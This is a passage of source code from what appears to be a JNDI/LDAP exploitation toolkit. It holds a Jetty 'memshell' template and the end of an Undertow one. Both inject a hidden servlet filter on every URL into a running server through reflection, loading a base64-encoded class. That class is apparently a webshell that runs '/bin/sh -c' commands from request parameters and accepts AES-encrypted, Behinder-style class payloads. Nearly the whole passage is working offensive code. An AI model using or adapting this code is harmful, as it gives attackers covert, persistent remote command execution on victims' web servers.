uaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKCl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"; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Method method = null; Class clz = cl.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); } FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); deploymentInfo.addFilter(filter); f = context.getClass().getDeclaredField("deployment"); f.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); DeploymentImpl deployment = (DeploymentImpl)f.get(context); deployment.getFilters().addFilter(filter); // 0 表示把我们动态注册的 filter 放在第一位 deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST); } }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import javax.management.ObjectName; import javax.servlet.DispatcherType; import javax.servlet.Filter; import java.lang.management.ManagementFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.EnumSet; import java.util.Set; public class JettyMemshellTemplate extends AbstractTranslet { public JettyMemshellTemplate(){ try{ String filterName = "dynamicFilter"; String urlPattern = "/*"; JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mBeanServer); field = obj.getClass().getDeclaredField("repository"); field.setAccessible(true); Field modifier = field.getClass().getDeclaredField("modifiers"); modifier.setAccessible(true); modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); Repository repository = (Repository)field.get(obj); Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); for(NamedObject namedObject : namedObjectSet){ try{ field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); field.setAccessible(true); modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); Object webAppContext = field.get(namedObject.getObject()); field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); field.setAccessible(true); Object handler = field.get(webAppContext); field = handler.getClass().getDeclaredField("_filters"); field.setAccessible(true); Object[] objects = (Object[]) field.get(handler); boolean flag = false; for(Object o : objects){ field = o.getClass().getSuperclass().getDeclaredField("_name"); field.setAccessible(true); String name = (String)field.get(o); if(name.equals(filterName)){ flag = true; break; } } if(!flag){ System.out.println("[+] Add Dynamic Filter"); ClassLoader classLoader = handler.getClass().getClassLoader(); Class sourceClazz = null; Object holder = null; try{ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); holder = method.invoke(handler, field.get(null)); }catch(ClassNotFoundException e){ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); } holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class clazz; try{ clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUx